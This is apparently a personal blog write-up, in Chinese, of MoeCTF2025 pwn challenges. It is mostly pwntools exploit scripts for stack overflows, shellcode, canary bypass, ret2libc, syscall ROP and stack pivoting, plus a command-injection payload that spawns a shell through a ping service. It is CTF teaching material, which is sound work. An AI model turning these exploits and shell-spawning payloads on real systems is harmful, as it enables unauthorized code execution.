MoeCTF2025(PWN)非官方个人题解

Sadsnowcat Lv1

MoeCTF2025的PWN个人向题解,笔者根据难易适当进行了排序,欢迎大家参考交流。

EZtext

简单的ret2text,覆盖buf、rbp,栈对齐,后门函数

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p = process('./pwn')
p = remote("172.30.48.1",58296)
treasure = 0x4011B6
ret_addr = 0x40122D
payload = b'A'*16 + p64(ret_addr) + p64(treasure)
p.recvuntil(b'stack?')
p.sendline(str(50))
p.sendline(payload)
p.interactive()

ezshellcode

简单的shellcode
一个汇编码转机器码的网站Online x86 and x64 Intel Instruction Assembler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal=['tmux', 'splitw', '-h'])
p = process('./pwn')
p.sendline(b'4')
p.recvuntil(b'permissions you just set.')
shellcode = '''mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
'''
shellcode=asm(shellcode)
# "\x48\xBB\x2F\x62\x69\x6E\x2F\x73\x68\x00\x53\x54\x5F\x31\xF6\x31\xD2\x6A\x3B\x58\x0F\x05"
p.send(shellcode)
p.interactive()

认识libc

一个libc板子
ezlibc

str_check

相信你已经在指北中了解到c风格字符串以’\0’结尾的特点。学习各种字符串操作对’\0’的处理,你才能完美地利用程序中的漏洞。

使用\x00截断字符串,字符串前4是moew,ret2text
ljust原数据靠左 ,rjust原数据靠右,都用来填充字节。

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.log_level='debug'
p=remote('192.168.50.1',53500)
#p=process('./pwn')
elf = ELF('./pwn')
backdoor=0x40123b
payload=b'moew\x00'.ljust(0x20+8,b'a')+p64(backdoor)
p.sendlineafter(b'say?',payload)
p.sendlineafter('?',b'200')
p.interactive()

xdulake

怎么有个大一新生走到湖里了?
栈上的数据不会无缘无故地被清理,你能根据这个信息拯救/成为laker吗?

注意到有后门函数。pull()中泄露PIE基址,photo()可以读64个字节,laker()将s1"xdulaker"比较,相同则通过。

1
2
3
4
5
6
7
8
9
10
11
12
13
int photo()
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
...
read(0, buf, 0x40uLL);
...
}
ssize_t laker()
{
char s1[48]; // [rsp+0h] [rbp-30h] BYREF
if ( memcmp(s1, "xdulaker", 8uLL) )
...
}

photo()申请了0x50的栈空间,rbp-50h,写入了0x40字节的数据。laker()中s1rbp-30h开始比较,这里简单验证一下

1
2
3
4
5
Hey,what's your name?!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxdulaker
I will teach you a lesson.
>3
welcome,xdulaker

通过验证,接下来是熟悉的ret2text了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
context.log_level ='debug'
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

# p = process('./pwn')
p = remote('192.168.50.1',59868)

p.sendlineafter(b'>',b'1')
p.recvuntil(b'gift:')
leak_opt = int((p.recv(14)),16)
pie_base=leak_opt - 0x4010
bkd=pie_base+0x124E
log.success(hex(pie_base))

p.sendlineafter(b'>',b'2')
payload1 = b'a'*0x20 + b'xdulaker'
p.sendafter(b'your name?!\n',payload1)

p.sendlineafter(b'>',b'3')
p.recvline()
payload2 = b'a'*48 + b'SNOWCATT' + p64(bkd)
p.sendline(payload2)
p.interactive()

boom

你可以轻易爆破我们的系统,但是一个不可泄露的“canary”你又该如何应对?

人工canary,提供了win函数,提示可以使用python的ctypes包
ctypes可以调用C库函数,于是使用ctypes加载libc
init()中有v0 = time(0LL),使time=0,

1
2
3
char s[124]; // [rsp+0h] [rbp-90h] BYREF
int v5; // [rsp+7Ch] [rbp-14h]
int v6; // [rsp+8Ch] [rbp-4h]

先填充0x90-0x14,再填充canary,再填充16+8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
import ctypes
import time

p = remote('192.168.50.1', 58472)
#p=process('./pwn')
libc = ctypes.CDLL('libc.so.6')
libc.srand(int(time.time()))
canary = libc.rand() % 114514
backdoor = 0x401276
ret = 0x40101a

p.sendlineafter(b'(y/n)', b'y')
payload = b'a' * 124 + p32(canary) + b'a'*24+p64(ret)+ p64(backdoor)

p.sendlineafter(b'Enter your message: ', payload)
p.interactive()

boom_revenge

同上(为什么重复几次才成功?)🤔

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
import ctypes
import time
p = remote('192.168.50.1', 62171)
#p=process('./pwn')
libc = ctypes.CDLL('libc.so.6')
libc.srand(int(time.time()))
canary = libc.rand() % 114514
backdoor = 0x401276
ret = 0x40101a

p.sendlineafter(b'(y/n)', b'y')
payload = b'a' * 124 + p32(canary) + b'a'*24+p64(ret)+ p64(backdoor)

p.sendlineafter(b'Enter your message: ', payload)
p.interactive()

ezlibc

相信做了前面题的你,已经初步开始了解我们如何利用栈溢出来控制程序的执行流程了。在这道题,你将理解动态链接与延迟绑定,这里开启了ASLR和PIE,但是,我给了你一个小礼物来应对两个防护,务必妥善保管! 这个礼物某种情况下还会发生改变,成为另一种神兵利器,至于怎么改变,就要靠你自己去摸索了!

建议你利用gdb,完整的跟踪一下整个动态链接和延迟绑定的过程,这样你能更了解它究竟是怎么完成这个工作的,同时有助于你更加的了解ret2libc这种攻击。

开启了PIE,显然可以通过read泄露PIE基址,这里注意一下延迟绑定,还需要泄露libc,于是返回泄露libc。
当采用动态链接以及延迟绑定之后,程序初加载的时候,并不知道诸如read等libc函数的实际加载地址,此时需要通过该机制进行解析之后,才会填入got表。即延迟绑定下 got 表初始值是 plt_resolve 地址
现在你掌握ret2libc了,以及pwntools查找libc中函数和字符串的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
context.log_level='debug'
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
p=remote("192.168.50.1",65064)

p.recvuntil("use ")
leak_read=int((p.recv(14)),16)
pie_base=leak_read-0x1060
start=pie_base+0x10c0

payload=b"A"*40+p64(start)
p.send(payload)

p.recvuntil("use ")
leak_read2 = int(p.recv(14),16)
libc_base=leak_read2-libc.symbols['read']
system=libc_base+libc.symbols['system']
bin_sh=libc_base+next(libc.search(b'/bin/sh'))
pop_rdi=libc_base+0x2a3e5
ret=pie_base+0x101a
payload=b"a"*40+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system)
p.send(payload)
p.interactive()

inject

一般来说 Pwn challenges 都以内存损坏漏洞为主。然而 binary 程序有很多漏洞不需要内存越界读写,开再多的保护也防不住,程序员即使换用 Rust 等内存安全语言也可能犯相同的错误。这种漏洞利用起来简单,危害可能还更大?!

这是Rust写的吗
使用#注释-c 4
或第一个sh执行第二个sh ping sh -c sh -c 4

1
2
3
4
5
6
7
8
from pwn import *
#p=process('./pwn')
p=remote('192.168.50.1', 52971)
p.sendlineafter('Your choice: ',str(4))
#payload = "\nsh -c sh"
#payload="\nsh #"
p.sendafter('Enter host to ping: ',payload)
p.interactive()

randomlock

诸如rand之类的函数,生成的数列虽然看起来是随机的,但实际上是由一个确定的算法产生的,因此称为“伪随机”。那么只要种子固定,我们不就可以得到固定的数列了吗?
当然,我这道锁的种子可是经过”真随机”与”加密”两道工序,至少看起来没那么容易破解?

猜测seed是1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
import ctypes

libc = ctypes.CDLL("libc.so.6")
libc.srand(1)

p = remote('192.168.50.1',62581)

p.recvuntil(b">")

for i in range(10):
r = libc.rand() % 10000
p.sendline(str(r).encode())
if i < 9:
p.recvuntil(b">")

print(p.recvall())

syslock

系统调用是什么?system 函数使用了什么系统调用来启动一个 shell 子进程?如何进行系统调用?

很善良地提供了一些gadget,lose()中也有syscall。
还需要自己读进去/bin/sh,
注意力涣散的笔者注意到了main()的逻辑是i <= 4&&i == 59,

1
2
3
4
5
6
7
8
i = input();
if ( i > 4 )
lose();
write(1, "Input your password\n", 0x14uLL);
read(0, (char *)&s + i, 0xCuLL);
if ( i != 59 )
lose();
cheat();

59暗示系统调用号,这里不需要直接覆盖返回地址,而是利用数组下标越界修改全局变量。
查看.bss段
i的地址是0x404080
s的地址是0x4040a0
差是0x20,也就是&s+-32指向i,修改使其为59。
在cheat()中覆盖,注意到还没有读入/bin/sh
因为没有注意到main()中能读12字节,笔者在cheat()中读入/bin/sh。😭😭😭注意力涣散
一个查询系统调用号的网站https:/syscall.sh/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import*
context.arch = 'amd64'
context.log_level = 'debug'
elf = ELF('./pwn')
# p = process('./pwn')
p = remote('192.168.50.1',54928)

pop_rdi_rsi_rdx = 0x401240
pop_rax = 0x401244
syscall = 0x401230
read_plt = 0x4010A0
s_addr = 0x4040A0

p.sendlineafter(b'choose mode\n',b'-32')
p.recvuntil(b'Input your password')
p.send(p64(59))

payload = b'a'*64
payload += b'SNOWCATT'
payload += p64(pop_rdi_rsi_rdx)
payload += p64(0) + p64(s_addr) + p64(8)
payload += p64(read_plt)

payload += p64(pop_rdi_rsi_rdx)
payload += p64(s_addr) + p64(0) + p64(0)
payload += p64(pop_rax) + p64(59)
payload += p64(syscall)
p.recvuntil(b'Developer Mode.\n')
p.send(payload)
sleep(0.1)
p.send(b"/bin/sh\x00")
p.interactive()

main()中read能读12字节,使用p32发送59,8字节/bin/sh\x00,不需要再调用read,这里不再给出exp。

ezprotection

你们这些 pwner,天天就想着溢出,这次我放了一只 canary 在这里,它会一直盯着你,直到永远!

填满buf覆盖\x00泄露canary,循环攻击爆破canary,空间不够就使用p16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*
context.log_level = 'debug'

bkd = 0x127D

while True:
# p = process('./pwn')
p = remote('192.168.50.1',59263)
try:
p.sendafter(b'over you.\n',b'A'*25)
p.recvuntil(b'A'*25)
canary = u64(p.recv(7).rjust(8, b'\x00'))
log.success(f"Leaked canary: {hex(canary)}")

payload = b"a"*24 + p64(canary) + b'SNOWCATT' + p16(bkd)
p.sendline(payload)
except:
print("error",end=' ')
else:
p.interactive()
continue

ezpivot

不是每一次我们都能遇到足够长的缓冲区溢出。这一次,只能溢出一点点,那你该怎么办呢?栈迁移就是解决这个问题的一个手段,通过栈迁移我们能获得足够的栈空间,但是请注意迁移之后的栈布局。

栈迁移的一个方法是两次leave; retn
把提前布置好的rop链放到后面再执行的操作就叫做栈风水

mian()中读取了一个整数v4,注意到v4>32则退出,introduce()中会向.bss段的descv4字节。要把.bss伪造成一个栈,越大越好。

1
2
3
4
5
6
7
8
9
lea     rax, [rbp+var_10]
mov rsi, rax
lea rax, aD ; "%d"
mov rdi, rax
call ___isoc99_scanf
...
mov eax, [rbp+var_10]
cmp eax, 20h ; 0x20 = 32
jle short loc_401306 ; 如果 eax <= 32 则跳转

这里发现read()的参数是nbytes如果是一个负数,那它会被认为是一个巨大的正数。

1
2
3
4
5
6
7
8
9
10
push    rbp
mov rbp, rsp
sub rsp, 10h
mov dword ptr [rbp+nbytes], edi
mov eax, dword ptr [rbp+nbytes]
mov rdx, rax ; nbytes
lea rax, desc
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read

main()的末尾:

1
2
3
4
5
mov     eax, cs:len_of_phonenum ;这里是0x1C = 28
movsxd rdx, eax ;nbytes
lea rax, [rbp+buf] ;buf
mov rsi, rax
call _read

buf12字节,覆盖rbp8字节,剩下8字节正好覆盖返回地址。
笔者先用introduce().bss段布置好rop链,再将返回地址覆盖为leave; retn
当我们在返回地址处放一个 leave; ret,而之前又通过溢出修改了 rbp 时,程序会执行第二次 leave,这时 rsp 就会被强行拉到我们指定的 .bss 地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux','splitw','-h']

# p = process('./pwn')
p = remote('192.168.50.1',50126)
# gdb.attach(p, 'b *main')

p.sendlineafter(b'of your introduction.',b'-1')
pop_rdi = 0x401219
system = 0x401230
desc = 0x404060
ret = 0x40101a
leave = 0x40120f
payload = b'/bin/sh\x00' + b'\x00'*(0x600-8+0x100) + p64(0x404600) + p64(0x404600)
payload += p64(pop_rdi) + p64(0x404060) + p64(ret) + p64(system)
p.send(payload)
payload1 = b'a' * 12 + p64(0x404660-8+0x100+0x10) + p64(leave)
p.sendafter(b'lease tell us your phone number:' , payload1)
p.interactive()
  • 地址 0x404660-8+0x100+0x10:首先rbp被赋值为这个地址,第二个leave时,rsp变为这个地址,紧接着 pop rbp 会让 rsp + 8,这样使rsp指向payload中pop rdi的位置。
  • 填充了大量\x00并将ROP放在远离desc开头,避免后续函数调用产生的栈帧覆盖掉我们写的东西。

这个题是一个栈迁移的入门题,希望新手在入门栈迁移的时候,不要用自己大脑模拟,多调试多跟踪,exp一步一步的写,然后去观察rbp以及rsp的变化,此时才能对于迁移的过程更加了然于胸,这里的坑是,首先,当system调用的时候,需要预留好栈空间,如果栈空间不足,当迁移到bss段之后,一些指令会访问或者甚至修改到只读的代码段,引起段错误,我注意到很多锤的同学,他们抬高栈的手段是硬生生输入诸如0x600个a,其实无需这么麻烦,并且太大量的输入会导致打远程的时候,出现io问题,直接玄学报错,你要注意到,read在读取的时候,是用rbp寻址的,因此当你控制了rbp之后,就可以直接任意地址写了,此时直接写到高地址即可,另一个坑的话,就是,当你迁移之后,执行system之前,一定要注意rbp的有效性,很多同学将rsp迁移过来之后,就对rbp不管不顾了,此时rbp相关的指令在访存的时候,会因为rbp是一个无效的值而引起段错误。

fmt_S

fmt竟离开了栈,我能依赖的,也许只有栈上现有的指针了?

fmt_T

越来越热 • “深入洞穴探险,到达熔火地狱。”

开启了栈保护。

1
2
fgets(s, 6, stdin);
printf(s);

明显的格式化字符串漏洞,

hardpivot

一次的栈迁移似乎不够用了,你要怎样才能再次迁移呢?如何布局栈才能拿到这一题的 flag 呢?这一次,你需要把前面的知识融会贯通,才能在这一题成功。加油!

shellbox

沙箱保护、静态链接…I have an idea.

No way to leak!

有些时候,明明随便劫持程序控制流程,但是你却怎么也泄露不出什么东西,只能干着急,这时候,不如试着去了解一下ret2dlresolve这个技术吧,拿到这题的flag,不该成为你的目的,你的目的应该是,在做这个题的过程中,跟着GDB,再重新了解一下动态链接,仔细的跟踪一下它究竟是怎么解析出符号的(并不是像前面的ret2libc一样,只浅浅的了解,不妨跟踪一下从_dl_runtime_resolve函数开始的解析过程),相信你会受益匪浅!

call it

省流:JOP 攻击

to be continued…

  • Title: MoeCTF2025(PWN)非官方个人题解
  • Author: Sadsnowcat
  • Created at : 2026-01-26 12:00:00
  • Updated at : 2026-02-11 16:30:23
  • Link: https://sadsnowcat.github.io/2026/01/26/moectf2025/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments